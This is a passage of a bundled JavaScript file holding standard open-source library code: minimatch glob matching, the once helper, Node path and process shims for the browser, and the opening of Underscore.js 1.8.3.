fl; fi++) {\n          if (file[fi] === '.' || file[fi] === '..' ||\n            (!options.dot && file[fi].charAt(0) === '.')) return false\n        }\n        return true\n      }\n\n      // ok, let's see if we can swallow whatever we can.\n      while (fr < fl) {\n        var swallowee = file[fr]\n\n        this.debug('\\nglobstar while', file, fr, pattern, pr, swallowee)\n\n        // XXX remove this slice.  Just pass the start index.\n        if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {\n          this.debug('globstar found match!', fr, fl, swallowee)\n          // found a match.\n          return true\n        } else {\n          // can't swallow \".\" or \"..\" ever.\n          // can only swallow \".foo\" when explicitly asked.\n          if (swallowee === '.' || swallowee === '..' ||\n            (!options.dot && swallowee.charAt(0) === '.')) {\n            this.debug('dot detected!', file, fr, pattern, pr)\n            break\n          }\n\n          // ** swallows a segment, and continue.\n          this.debug('globstar swallow a segment, and continue')\n          fr++\n        }\n      }\n\n      // no match was found.\n      // However, in partial mode, we can't say this is necessarily over.\n      // If there's more *pattern* left, then\n      if (partial) {\n        // ran out of file\n        this.debug('\\n>>> no match, partial?', file, fr, pattern, pr)\n        if (fr === fl) return true\n      }\n      return false\n    }\n\n    // something other than **\n    // non-magic patterns just have to match exactly\n    // patterns with magic have been turned into regexps.\n    var hit\n    if (typeof p === 'string') {\n      if (options.nocase) {\n        hit = f.toLowerCase() === p.toLowerCase()\n      } else {\n        hit = f === p\n      }\n      this.debug('string match', p, f, hit)\n    } else {\n      hit = f.match(p)\n      this.debug('pattern match', p, f, hit)\n    }\n\n    if (!hit) return false\n  }\n\n  // Note: ending in / means that we'll get a final \"\"\n  // at the end of the pattern.  This can only match a\n  // corresponding \"\" at the end of the file.\n  // If the file ends in /, then it can only match a\n  // a pattern that ends in /, unless the pattern just\n  // doesn't have any more for it. But, a/b/ should *not*\n  // match \"a/b/*\", even though \"\" matches against the\n  // [^/]*? pattern, except in partial mode, where it might\n  // simply not be reached yet.\n  // However, a/b/ should still satisfy a/*\n\n  // now either we fell off the end of the pattern, or we're done.\n  if (fi === fl && pi === pl) {\n    // ran out of pattern and filename at the same time.\n    // an exact hit!\n    return true\n  } else if (fi === fl) {\n    // ran out of file, but still had pattern left.\n    // this is ok if we're doing the match as part of\n    // a glob fs traversal.\n    return partial\n  } else if (pi === pl) {\n    // ran out of pattern, still have file left.\n    // this is only acceptable if we're on the very last\n    // empty segment of a file with a trailing slash.\n    // a/* should match a/b/\n    var emptyFileEnd = (fi === fl - 1) && (file[fi] === '')\n    return emptyFileEnd\n  }\n\n  // should be unreachable.\n  throw new Error('wtf?')\n}\n\n// replace stuff like \\* with *\nfunction globUnescape (s) {\n  return s.replace(/\\\\(.)/g, '$1')\n}\n\nfunction regExpEscape (s) {\n  return s.replace(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g, '\\\\$&')\n}\n\n},{\"brace-expansion\":11,\"path\":22}],21:[function(require,module,exports){\nvar wrappy = require('wrappy')\nmodule.exports = wrappy(once)\nmodule.exports.strict = wrappy(onceStrict)\n\nonce.proto = once(function () {\n  Object.defineProperty(Function.prototype, 'once', {\n    value: function () {\n      return once(this)\n    },\n    configurable: true\n  })\n\n  Object.defineProperty(Function.prototype, 'onceStrict', {\n    value: function () {\n      return onceStrict(this)\n    },\n    configurable: true\n  })\n})\n\nfunction once (fn) {\n  var f = function () {\n    if (f.called) return f.value\n    f.called = true\n    return f.value = fn.apply(this, arguments)\n  }\n  f.called = false\n  return f\n}\n\nfunction onceStrict (fn) {\n  var f = function () {\n    if (f.called)\n      throw new Error(f.onceError)\n    f.called = true\n    return f.value = fn.apply(this, arguments)\n  }\n  var name = fn.name || 'Function wrapped with `once`'\n  f.onceError = name + \" shouldn't be called more than once\"\n  f.called = false\n  return f\n}\n\n},{\"wrappy\":29}],22:[function(require,module,exports){\n(function (process){\n// Copyright Joyent, Inc. and other Node contributors.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the\n// \"Software\"), to deal in the Software without restriction, including\n// without limitation the rights to use, copy, modify, merge, publish,\n// distribute, sublicense, and/or sell copies of the Software, and to permit\n// persons to whom the Software is furnished to do so, subject to the\n// following conditions:\n//\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\n// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\n// USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n// resolves . and .. elements in a path array with directory names there\n// must be no slashes, empty elements, or device names (c:\\) in the array\n// (so also no leading and trailing slashes - it does not distinguish\n// relative and absolute paths)\nfunction normalizeArray(parts, allowAboveRoot) {\n  // if the path tries to go above the root, `up` ends up > 0\n  var up = 0;\n  for (var i = parts.length - 1; i >= 0; i--) {\n    var last = parts[i];\n    if (last === '.') {\n      parts.splice(i, 1);\n    } else if (last === '..') {\n      parts.splice(i, 1);\n      up++;\n    } else if (up) {\n      parts.splice(i, 1);\n      up--;\n    }\n  }\n\n  // if the path is allowed to go above the root, restore leading ..s\n  if (allowAboveRoot) {\n    for (; up--; up) {\n      parts.unshift('..');\n    }\n  }\n\n  return parts;\n}\n\n// Split a filename into [root, dir, basename, ext], unix version\n// 'root' is just a slash, or nothing.\nvar splitPathRe =\n    /^(\\/?|)([\\s\\S]*?)((?:\\.{1,2}|[^\\/]+?|)(\\.[^.\\/]*|))(?:[\\/]*)$/;\nvar splitPath = function(filename) {\n  return splitPathRe.exec(filename).slice(1);\n};\n\n// path.resolve([from ...], to)\n// posix version\nexports.resolve = function() {\n  var resolvedPath = '',\n      resolvedAbsolute = false;\n\n  for (var i = arguments.length - 1; i >= -1 && !resolvedAbsolute; i--) {\n    var path = (i >= 0) ? arguments[i] : process.cwd();\n\n    // Skip empty and invalid entries\n    if (typeof path !== 'string') {\n      throw new TypeError('Arguments to path.resolve must be strings');\n    } else if (!path) {\n      continue;\n    }\n\n    resolvedPath = path + '/' + resolvedPath;\n    resolvedAbsolute = path.charAt(0) === '/';\n  }\n\n  // At this point the path should be resolved to a full absolute path, but\n  // handle relative paths to be safe (might happen when process.cwd() fails)\n\n  // Normalize the path\n  resolvedPath = normalizeArray(filter(resolvedPath.split('/'), function(p) {\n    return !!p;\n  }), !resolvedAbsolute).join('/');\n\n  return ((resolvedAbsolute ? '/' : '') + resolvedPath) || '.';\n};\n\n// path.normalize(path)\n// posix version\nexports.normalize = function(path) {\n  var isAbsolute = exports.isAbsolute(path),\n      trailingSlash = substr(path, -1) === '/';\n\n  // Normalize the path\n  path = normalizeArray(filter(path.split('/'), function(p) {\n    return !!p;\n  }), !isAbsolute).join('/');\n\n  if (!path && !isAbsolute) {\n    path = '.';\n  }\n  if (path && trailingSlash) {\n    path += '/';\n  }\n\n  return (isAbsolute ? '/' : '') + path;\n};\n\n// posix version\nexports.isAbsolute = function(path) {\n  return path.charAt(0) === '/';\n};\n\n// posix version\nexports.join = function() {\n  var paths = Array.prototype.slice.call(arguments, 0);\n  return exports.normalize(filter(paths, function(p, index) {\n    if (typeof p !== 'string') {\n      throw new TypeError('Arguments to path.join must be strings');\n    }\n    return p;\n  }).join('/'));\n};\n\n\n// path.relative(from, to)\n// posix version\nexports.relative = function(from, to) {\n  from = exports.resolve(from).substr(1);\n  to = exports.resolve(to).substr(1);\n\n  function trim(arr) {\n    var start = 0;\n    for (; start < arr.length; start++) {\n      if (arr[start] !== '') break;\n    }\n\n    var end = arr.length - 1;\n    for (; end >= 0; end--) {\n      if (arr[end] !== '') break;\n    }\n\n    if (start > end) return [];\n    return arr.slice(start, end - start + 1);\n  }\n\n  var fromParts = trim(from.split('/'));\n  var toParts = trim(to.split('/'));\n\n  var length = Math.min(fromParts.length, toParts.length);\n  var samePartsLength = length;\n  for (var i = 0; i < length; i++) {\n    if (fromParts[i] !== toParts[i]) {\n      samePartsLength = i;\n      break;\n    }\n  }\n\n  var outputParts = [];\n  for (var i = samePartsLength; i < fromParts.length; i++) {\n    outputParts.push('..');\n  }\n\n  outputParts = outputParts.concat(toParts.slice(samePartsLength));\n\n  return outputParts.join('/');\n};\n\nexports.sep = '/';\nexports.delimiter = ':';\n\nexports.dirname = function(path) {\n  var result = splitPath(path),\n      root = result[0],\n      dir = result[1];\n\n  if (!root && !dir) {\n    // No dirname whatsoever\n    return '.';\n  }\n\n  if (dir) {\n    // It has a dirname, strip trailing slash\n    dir = dir.substr(0, dir.length - 1);\n  }\n\n  return root + dir;\n};\n\n\nexports.basename = function(path, ext) {\n  var f = splitPath(path)[2];\n  // TODO: make this comparison case-insensitive on windows?\n  if (ext && f.substr(-1 * ext.length) === ext) {\n    f = f.substr(0, f.length - ext.length);\n  }\n  return f;\n};\n\n\nexports.extname = function(path) {\n  return splitPath(path)[3];\n};\n\nfunction filter (xs, f) {\n    if (xs.filter) return xs.filter(f);\n    var res = [];\n    for (var i = 0; i < xs.length; i++) {\n        if (f(xs[i], i, xs)) res.push(xs[i]);\n    }\n    return res;\n}\n\n// String.prototype.substr - negative index don't work in IE8\nvar substr = 'ab'.substr(-1) === 'b'\n    ? function (str, start, len) { return str.substr(start, len) }\n    : function (str, start, len) {\n        if (start < 0) start = str.length + start;\n        return str.substr(start, len);\n    }\n;\n\n}).call(this,require('_process'))\n},{\"_process\":24}],23:[function(require,module,exports){\n(function (process){\n'use strict';\n\nfunction posix(path) {\n\treturn path.charAt(0) === '/';\n}\n\nfunction win32(path) {\n\t// https://github.com/nodejs/node/blob/b3fcc245fb25539909ef1d5eaa01dbf92e168633/lib/path.js#L56\n\tvar splitDeviceRe = /^([a-zA-Z]:|[\\\\\\/]{2}[^\\\\\\/]+[\\\\\\/]+[^\\\\\\/]+)?([\\\\\\/])?([\\s\\S]*?)$/;\n\tvar result = splitDeviceRe.exec(path);\n\tvar device = result[1] || '';\n\tvar isUnc = Boolean(device && device.charAt(1) !== ':');\n\n\t// UNC paths are always absolute\n\treturn Boolean(result[2] || isUnc);\n}\n\nmodule.exports = process.platform === 'win32' ? win32 : posix;\nmodule.exports.posix = posix;\nmodule.exports.win32 = win32;\n\n}).call(this,require('_process'))\n},{\"_process\":24}],24:[function(require,module,exports){\n// shim for using process in browser\nvar process = module.exports = {};\n\n// cached from whatever global is present so that test runners that stub it\n// don't break things.  But we need to wrap it in a try catch in case it is\n// wrapped in strict mode code which doesn't define any globals.  It's inside a\n// function because try/catches deoptimize in certain engines.\n\nvar cachedSetTimeout;\nvar cachedClearTimeout;\n\nfunction defaultSetTimout() {\n    throw new Error('setTimeout has not been defined');\n}\nfunction defaultClearTimeout () {\n    throw new Error('clearTimeout has not been defined');\n}\n(function () {\n    try {\n        if (typeof setTimeout === 'function') {\n            cachedSetTimeout = setTimeout;\n        } else {\n            cachedSetTimeout = defaultSetTimout;\n        }\n    } catch (e) {\n        cachedSetTimeout = defaultSetTimout;\n    }\n    try {\n        if (typeof clearTimeout === 'function') {\n            cachedClearTimeout = clearTimeout;\n        } else {\n            cachedClearTimeout = defaultClearTimeout;\n        }\n    } catch (e) {\n        cachedClearTimeout = defaultClearTimeout;\n    }\n} ())\nfunction runTimeout(fun) {\n    if (cachedSetTimeout === setTimeout) {\n        //normal enviroments in sane situations\n        return setTimeout(fun, 0);\n    }\n    // if setTimeout wasn't available but was latter defined\n    if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) {\n        cachedSetTimeout = setTimeout;\n        return setTimeout(fun, 0);\n    }\n    try {\n        // when when somebody has screwed with setTimeout but no I.E. maddness\n        return cachedSetTimeout(fun, 0);\n    } catch(e){\n        try {\n            // When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally\n            return cachedSetTimeout.call(null, fun, 0);\n        } catch(e){\n            // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error\n            return cachedSetTimeout.call(this, fun, 0);\n        }\n    }\n\n\n}\nfunction runClearTimeout(marker) {\n    if (cachedClearTimeout === clearTimeout) {\n        //normal enviroments in sane situations\n        return clearTimeout(marker);\n    }\n    // if clearTimeout wasn't available but was latter defined\n    if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {\n        cachedClearTimeout = clearTimeout;\n        return clearTimeout(marker);\n    }\n    try {\n        // when when somebody has screwed with setTimeout but no I.E. maddness\n        return cachedClearTimeout(marker);\n    } catch (e){\n        try {\n            // When we are in I.E. but the script has been evaled so I.E. doesn't  trust the global object when called normally\n            return cachedClearTimeout.call(null, marker);\n        } catch (e){\n            // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error.\n            // Some versions of I.E. have different rules for clearTimeout vs setTimeout\n            return cachedClearTimeout.call(this, marker);\n        }\n    }\n\n\n\n}\nvar queue = [];\nvar draining = false;\nvar currentQueue;\nvar queueIndex = -1;\n\nfunction cleanUpNextTick() {\n    if (!draining || !currentQueue) {\n        return;\n    }\n    draining = false;\n    if (currentQueue.length) {\n        queue = currentQueue.concat(queue);\n    } else {\n        queueIndex = -1;\n    }\n    if (queue.length) {\n        drainQueue();\n    }\n}\n\nfunction drainQueue() {\n    if (draining) {\n        return;\n    }\n    var timeout = runTimeout(cleanUpNextTick);\n    draining = true;\n\n    var len = queue.length;\n    while(len) {\n        currentQueue = queue;\n        queue = [];\n        while (++queueIndex < len) {\n            if (currentQueue) {\n                currentQueue[queueIndex].run();\n            }\n        }\n        queueIndex = -1;\n        len = queue.length;\n    }\n    currentQueue = null;\n    draining = false;\n    runClearTimeout(timeout);\n}\n\nprocess.nextTick = function (fun) {\n    var args = new Array(arguments.length - 1);\n    if (arguments.length > 1) {\n        for (var i = 1; i < arguments.length; i++) {\n            args[i - 1] = arguments[i];\n        }\n    }\n    queue.push(new Item(fun, args));\n    if (queue.length === 1 && !draining) {\n        runTimeout(drainQueue);\n    }\n};\n\n// v8 likes predictible objects\nfunction Item(fun, array) {\n    this.fun = fun;\n    this.array = array;\n}\nItem.prototype.run = function () {\n    this.fun.apply(null, this.array);\n};\nprocess.title = 'browser';\nprocess.browser = true;\nprocess.env = {};\nprocess.argv = [];\nprocess.version = ''; // empty string to avoid regexp issues\nprocess.versions = {};\n\nfunction noop() {}\n\nprocess.on = noop;\nprocess.addListener = noop;\nprocess.once = noop;\nprocess.off = noop;\nprocess.removeListener = noop;\nprocess.removeAllListeners = noop;\nprocess.emit = noop;\nprocess.prependListener = noop;\nprocess.prependOnceListener = noop;\n\nprocess.listeners = function (name) { return [] }\n\nprocess.binding = function (name) {\n    throw new Error('process.binding is not supported');\n};\n\nprocess.cwd = function () { return '/' };\nprocess.chdir = function (dir) {\n    throw new Error('process.chdir is not supported');\n};\nprocess.umask = function() { return 0; };\n\n},{}],25:[function(require,module,exports){\n//     Underscore.js 1.8.3\n//     http://underscorejs.org\n//     (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors\n//     Underscore may be freely distributed under the MIT license.\n\n(function() {\n\n  // Baseline setup\n  // --------------\n\n  // Establish the root object, `window` in the browser, or `exports` on the server.\n  var root = this;\n\n  // Save the previous value of the `_` variable.\n  var previousUnderscore = root._;\n\n  // Save bytes in the minified (but not gzipped) version:\n  var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;\n\n  // Create quick reference variables for speed access to core prototypes.\n  var\n    push             = ArrayProto.push,\n    slice            = ArrayProto.slice,\n    toString         = ObjProto.toString,\n    hasOwnProperty   = ObjProto.hasOwnProperty;\n\n  // All **ECMAScript 5** native function implementations that we hope to use\n  // are declared here.\n  var\n    nativeIsArray      = Array.isArray,\n    nativeKeys         = Object.keys,\n    nativeBind         = FuncProto.bind,\n    nativeCreate       = Object.create;\n\n  // Naked function reference for surrogate-prototype-swapping.\n  var Ctor = function(){};\n\n  // Create a safe reference to the Underscore object for use below.\n  var _ = function(obj) {\n    if (obj instanceof _) return obj;\n    if (!(this instanceof _)) return new _(obj);\n    this._wrapped = obj;\n  };\n\n  // Export the Underscore object for **Node.js**, with\n  // backwards-compatibility for the old `require()` API. If we're in\n  // the browser, add `_` as a global object.\n  if (typeof exports !== 'undefined') {\n    if (typeof module !== 'undefined' && module.exports) {\n      exports = module.exports = _;\n    }\n    exports._ = _;\n  } else {\n    root._ = _;\n  }\n\n  // Current version.\n  _.VERSION = '1.8.3';\n\n  // Internal function that returns an efficient (for current engines) version\n  // of the passed-in callback, to be repeatedly applied in other Underscore\n  // functions.\n  var optimizeCb = function(func, context, argCount) {\n    if (context === void 0) return func;\n    switch (argCount == null ? 3 : argCount) {\n      case 1: return function(value) {\n        return func.call(context, value);\n      };\n      case 2: return function(value, other) {\n        return func.call(context, value, other);\n      };\n      case 3: return function(value, index, collection) {\n        return func.call(context, value, index, collection);\n      };\n      case 4: return function(accumulator, value, index, collection) {\n        return func.call(context, accumulator, value, index, collection);\n      };\n    }\n    return function() {\n      return func.apply(context, arguments);\n    };\n  };\n\n  // A mostly-internal function to generate callbacks that can be applied\n  // to each element in a collection, returning the desired result — either\n  // identity, an arbitrary callback, a property matcher, or a property accessor.\n  var cb = function(value, context, argCount) {\n    if (value == null) return _.identity;\n    if (_.isFunction(value)) return optimizeCb(value, context, argCount);\n    if (_.isObject(value)) return _.matcher(value);\n    return _.property(value);\n  };\n  _.iteratee = function(value, context) {\n    return cb(value, context, Infinity);\n  };\n\n  // An internal function for creating assigner functions.\n  var createAssigner = function(keysFunc, undefinedOnly) {\n    return function(obj) {\n      var length = arguments.length;\n      if (length < 2 || obj == null) return obj;\n      for (var index = 1; index < length; index++) {\n        var source = arguments[index],\n            keys = keysFunc(source),\n            l = keys.length;\n        for (var i = 0; i < l; i++) {\n          var key = keys[i];\n          if (!undefinedOnly || obj[key] === void 0) obj[key] = source[key];\n        }\n      }\n      return obj;\n    };\n  };\n\n  // An internal function for creating a new object that inherits from another.\n  var baseCreate = function(prototype) {\n    if (!_.isObject(prototype)) return {};\n    if (nativeCreate) return nativeCreate(prototype);\n    Ctor.prototype = prototype;\n    var result = new Ctor;\n    Ctor.prototype = null;\n    return result;\n  };\n\n  var property = function(key) {\n    return function(obj) {\n      return obj == null ? void 0 : obj[key];\n    };\n  };\n\n  // Helper for collection methods to determine whether a collection\n  // should be iterated as an array or as an object\n  // Related: http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength\n  // Avoids a very nasty iOS 8 JIT bug on ARM-64. #2094\n  var MAX_ARRAY_INDEX = Math.pow(2, 53) - 1;\n  var getLength = property('length');\n  var isArrayLike = function(collection) {\n    var length = getLength(collection);\n    return typeof length == 'number' && length >= 0 && length <= MAX_ARRAY_INDEX;\n  };\n\n  // Collection Functions\n  // --------------------\n\n  // The cornerstone, an `each` implementation, aka `forEach`.\n  // Handles raw objects in addition to array-likes. Treats all\n  // sparse array-likes as if they were dense.\n  _.each = _.forEach = function(obj, iteratee, context) {\n    iteratee = optimizeCb(iteratee, context);\n    var i, length;\n    if (isArrayLike(obj)) {\n      for (i = 0, length = obj.length; i < length; i++) {\n        iteratee(obj[i], i, obj);\n      }\n    } else {\n      var keys = _.keys(obj);\n      for (i = 0, length = keys.length; i < length; i++) {\n        iteratee(obj[keys[i]], keys[i], obj);\n      }\n    }\n    return obj;\n  };\n\n  // Return the results of applying the iteratee to each element.\n  _.map = _.collect = function(obj, iteratee, context) {\n    iteratee = cb(iteratee, context);\n    var keys = !isArrayLike(obj) && _.keys(obj),\n        length = (keys || obj).length,\n        results = Array(length);\n    for (var index = 0; index < length; index++) {\n      var currentKey = keys ? keys[index] : index;\n      results[index] = iteratee(obj[currentKey], currentKey, obj);\n    }\n    return results;\n  };\n\n  // Create a reducing function iterating left or right.\n  function createReduce(dir) {\n    // Optimized iterator function as using arguments.length\n    // in the main function will deoptimize the, see #1991.\n    function iterator(obj, iteratee, memo, keys, index, length) {\n      for (; index >= 0 && index < length; index += dir) {\n        var currentKey = keys ? keys[index] : index;\n        memo = iteratee(memo, obj[currentKey], currentKey, obj);\n      }\n      return memo;\n    }\n\n    return function(obj, iteratee, memo, context) {\n      iteratee = optimizeCb(iteratee, context, 4);\n      var keys = !isArrayLike(obj) && _.keys(obj),\n          length = (keys || obj).length,\n          index = dir > 0 ? 0 : length - 1;\n      // Determine the initial value if none is provided.\n      if (arguments.length < 3) {\n        memo = obj[keys ? keys[index] : index];\n        index += dir;\n      }\n      return iterator(obj, iteratee, memo, keys, index, length);\n    };\n  }\n\n  // **Reduce** builds up a single result from a list of values, aka `inject`,\n  // or `foldl`.\n  _.reduce = _.foldl = _.inject = createReduce(1);\n\n  // The right-associative version of reduce, also known as `foldr`.\n  _.reduceRight = _.foldr = createReduce(-1);\n\n  // Return the first value which passes a truth test. Aliased as `detect`.\n  _.find = _.detect = function(obj, predicate, context) {\n    var key;\n    if (isArrayLike(obj)) {\n      key = _.findIndex(obj, predicate, context);\n    } else {\n      key = _.findKey(obj, predicate, context);\n    }\n    if (key !== void 0 && key !== -1) return obj[key];\n  };\n\n  // Return all the elements that pass a truth test.\n  // Aliased as `select`.\n  _.filter = _.select = function(obj, predicate, context) {\n    var results = [];\n    predicate = cb(predicate, context);\n    _.each(obj, function(value, index, list) {\n      if (predicate(value, index, list)) results.push(value);\n    });\n    return results;\n  };\n\n  // Return all the elements for which a truth test fails.\n  _.reject = function(obj, predicate, context) {\n    return _.filter(obj, _.negate(cb(predicate)), context);\n  };\n\n  // Determine whether all of the elements match a truth test.\n  // Aliased as `all`.\n  _.every = _.all = function(obj, predicate, context) {\n    predicate = cb(predicate, context);\n    var keys = !isArrayLike(obj) && _.keys(obj),\n        length = (keys || obj).length;\n    for (var index = 0; index < length; index++) {\n      var currentKey = keys ? keys[index] : index;\n      if (!predicate(obj[currentKey], currentKey, obj)) return false;\n    }\n    return true;\n  };\n\n  // Determine if at least one element in the object matches a truth test.\n  // Aliased as `any`.\n  _.some = _.any = function(obj, predicate, context) {\n    predicate = cb(predicate, context);\n    var keys = !isArrayLike(obj) && _.keys(obj),\n        length = (keys || obj).length;\n    for (var index = 0; index < length; index++) {\n      var currentKey = keys ? keys[index] : index;\n      if (predicate(obj[currentKey], currentKey, obj)) return true;\n    }\n    return false;\n  };\n\n  // Determine if the array or object contains a given item (using `===`).\n  // Aliased as `includes` and `include`.\n  _.contains = _.includes = _.include = function(obj, item, fromIndex, guard) {\n    if (!isArrayLike(obj)) obj = _.values(obj);\n    if (typeof fromIndex != 'number' || guard) fromIndex = 0;\n    return _.indexOf(obj, item, fromIndex) >= 0;\n  };\n\n  // Invoke a method (with arguments) on every item in a collection.\n  _.invoke = function(obj, method) {\n    var args = slice.call(arguments, 2);\n    var isFunc = _.isFunction(method);\n    return _.map(obj, function(value) {\n      var func = isFunc ? method : value[method];\n      return func == null ? func : func.apply(value, args);\n    });\n  };\n\n  // Convenience version of a common use case of `map`: fetching a property.\n  _.pluck = function(obj, key) {\n    return _.map(obj, _.property(key));\n  };\n\n  // Convenience version of a common use case of `filter`: selecting only objects\n  // containing specific `key:value` pairs.\n  _.where = function(obj, attrs) {\n    return _.filter(obj, _.matcher(attrs));\n  };\n\n  // Convenience version of a common use case of `find`: getting the first object\n  // containing specific `key:value` pairs.\n  _.findWhere = function(obj, attrs) {\n    return _.find(obj, _.matcher(attrs));\n  };\n\n  // Return the maximum element (or element-based computation).\n  _.max = function(obj, iteratee, context) {\n    var result = -Infinity, lastComputed = -Infinity,\n        value, computed;\n    if (iteratee == null && obj != null) {\n      obj = isArrayLike(obj) ? obj : _.values(obj);\n      for (var i = 0, length = obj.length; i < length; i++) {\n        value = obj[i];\n        if (value > result) {\n          result = value;\n        }\n      }\n    } else {\n      iteratee = cb(iteratee, context);\n      _.each(obj, function(value, index, list) {\n        computed = iteratee(value, index, list);\n        if (computed > lastComputed || computed === -Infinity && result === -Infinity) {\n          result = value;\n          lastComputed = computed;\n        }\n      });\n    }\n    return result;\n  };\n\n  // Return the minimum element (or element-based computation).\n  _.min = function(obj, iteratee, context) {\n    var result = Infinity, lastComputed = Infinity,\n        value, computed;\n    if (iteratee == null && obj != null) {\n      obj = isArrayLike(obj) ? obj : _.values(obj);\n      for (var i = 0, length = obj.length; i < length; i++) {\n        value = obj[i];\n        if (value < result) {\n          result = value;\n        }\n      }\n    } else {\n      iteratee = cb(iteratee, context);\n      _.each(obj, function(value, index, list) {\n        computed = iteratee(value, index, list);\n        if (computed < lastComputed || computed === Infinity && result === Infinity) {\n          result = value;\n          lastComputed = computed;\n        }\n      });\n    }\n    return result;\n  };\n\n  // Shuffle a collection, using the modern version of the\n  // [Fisher-Yates shuffle](http://en.wikipedia.org/wiki/Fisher–Yates_shuffle).\n  _.shuffle = function(obj) {\n    var set = isArrayLike(obj) ? obj : _.values(obj);\n    var length = set.length;\n    var shuffled = Array(length);\n    for (var index = 0, rand; index < length; index++) {\n      rand = _.random(0, index);\n      if (rand !== index) shuffled[index] = shuffled[rand];\n      shuffled[rand] = set[index];\n    }\n    return shuffled;\n  };\n\n  // Sample **n** random values from a collection.\n  // If **n** is not specified, returns a single random element.\n  // The internal `guard` argument allows it to work with `map`.\n  _.sample = function(obj, n, guard) {\n    if (n == null || guard) {\n      if (!isArrayLike(obj)) obj = _.values(obj);\n      return obj[_.random(obj.length - 1)];\n    }\n    return _.shuffle(obj).slice(0, Math.max(0, n));\n  };\n\n  // Sort the object's values by a criterion produced by an iteratee.\n  _.sortBy = function(obj, iteratee, context) {\n    iteratee = cb(iteratee, context);\n    return _.pluck(_.map(obj, function(value, index, list) {\n      return {\n        value: value,\n        index: index,\n        criteria: iteratee(value, index, list)\n      };\n    }).sort(function(left, right) {\n      var a = left.criteria;\n      var b = right.criteria;\n      if (a !== b) {\n        if (a > b || a === void 0) return 1;\n        if (a < b || b === void 0) return -1;\n      }\n      return left.index - right.index;\n    }), 'value');\n  };\n\n  // An internal function used for aggregate \"group by\" operations.\n  var group = function(behavior) {\n    return function(obj, iteratee, context) {\n      var result = {};\n      iteratee = cb(iteratee, context);\n      _.each(obj, function(value, index) {\n        var key = iteratee(value, index, obj);\n        behavior(result, value, key);\n      });\n      return result;\n    };\n  };\n\n  // Groups the object's values by a criterion. Pass either a string attribute\n  // to group by, or a function that returns the criterion.\n  _.groupBy = group(function(result, value, key) {\n    if (_.has(result, key)) result[key].push(value); else result[key] = [value];\n  });\n\n  // Indexes the object's values by a criterion, similar to `groupBy`, but for\n  // when you know that your index values will be unique.\n  _.indexBy = group(function(result, value, key) {\n    result[key] = value;\n  });\n\n  // Counts instances of an object that group by a certain criterion. Pass\n  // either a string attribute to count by, or a function that returns the\n  // criterion.\n  _.countBy = group(function(result, value, key) {\n    if (_.has(result, key)) result[key]++; else result[key] = 1;\n  });\n\n  // Safely create a real, live array from anything iterable.\n  _.toArray = function(obj) {\n    if (!obj) return [];\n    if (_.isArray(obj)) return slice.call(obj);\n    if (isArrayLike(obj)) return _.map(obj, _.identity);\n    return _.values(obj);\n  };\n\n  // Return the number of elements in an object.\n  _.size = function(obj) {\n    if (obj == null) return 0;\n    return isArrayLike(obj) ? obj.length : _.keys(obj).length;\n  };\n\n  // Split a collection into two arrays: one whose elements all satisfy the given\n  // predicate, and one whose elements all do not satisfy the predicate.\n  _.partition = function(obj, predicate, context) {\n    predicate = cb(predicate, context);\n    var pass = [], fail = [];\n    _.each(obj, function(value, key, obj) {\n      (predicate(value, key, obj) ? pass : fail).push(value);\n    });\n    return [pass, fail];\n  };\n\n  // Array Functions\n  // ---------------\n\n  // Get the first element of an array. Passing **n** will return the first N\n  // values in the array. Aliased as `head` and `take`. The **guard** check\n  // allows it to work with `_.map`.\n  _.first = _.head = _.take = function(array, n, guard) {\n    if (array == null) return void 0;\n    if (n == null || guard) return array[0];\n    return _.initial(array, array.length - n);\n  };\n\n  // Returns everything but the last entry of the array. Especially useful on\n  // the arguments object. Passing **n** will return all the values in\n  // the array, excluding the last N.\n  _.initial = function(array, n, guard) {\n    return slice.call(array, 0, Math.max(0, array.length - (n == null || guard ? 1 : n)));\n  };\n\n  // Get the last element of an array. Passing **n** will return the last N\n  // values in the array.\n  _.last = function(array, n, guard) {\n    if (array == null) return void 0;\n    if (n == null || guard) return array[array.length - 1];\n    return _.rest(array, Math.max(0, array.length - n));\n  };\n\n  // Returns everything but the first entry of the array. Aliased as `tail` and `drop`.\n  // Especially useful on the arguments object. Passing an **n** will return\n  // the rest N values in the array.\n  _.rest = _.tail = _.drop = function(array, n, guard) {\n    return slice.call(array, n == null || guard ? 1 : n);\n  };\n\n  // Trim out all falsy values from an array.\n  _.compact = function(array) {\n    return _.filter(array, _.identity);\n  };\n\n  // Internal implementation of a recursive `flatten` function.\n  var flatten = function(input, shallow, strict, startIndex) {\n    var output = [], idx = 0;\n    for (var i = startIndex || 0, length = getLength(input); i < length; i++) {\n      var value = input[i];\n      if (isArrayLike(value) && (_.isArray(value) || _.isArguments(value))) {\n        //flatten current level of array or arguments object\n        if (!shallow) value = flatten(value, shallow, strict);\n        var j = 0, len = value.length;\n        output.length += len;\n        while (j < len) {\n          output[idx++] = value[j++];\n        }\n      } else if (!strict) {\n        output[idx++] = value;\n      }\n    }\n    return output;\n  };\n\n  // Flatten out an array, either recursively (by default), or just one level.\n  _.flatten = function(array, shallow) {\n    return flatten(array, shallow, false);\n  };\n\n  // Return a version of the array that does not contain the specified value(s).\n  _.without = 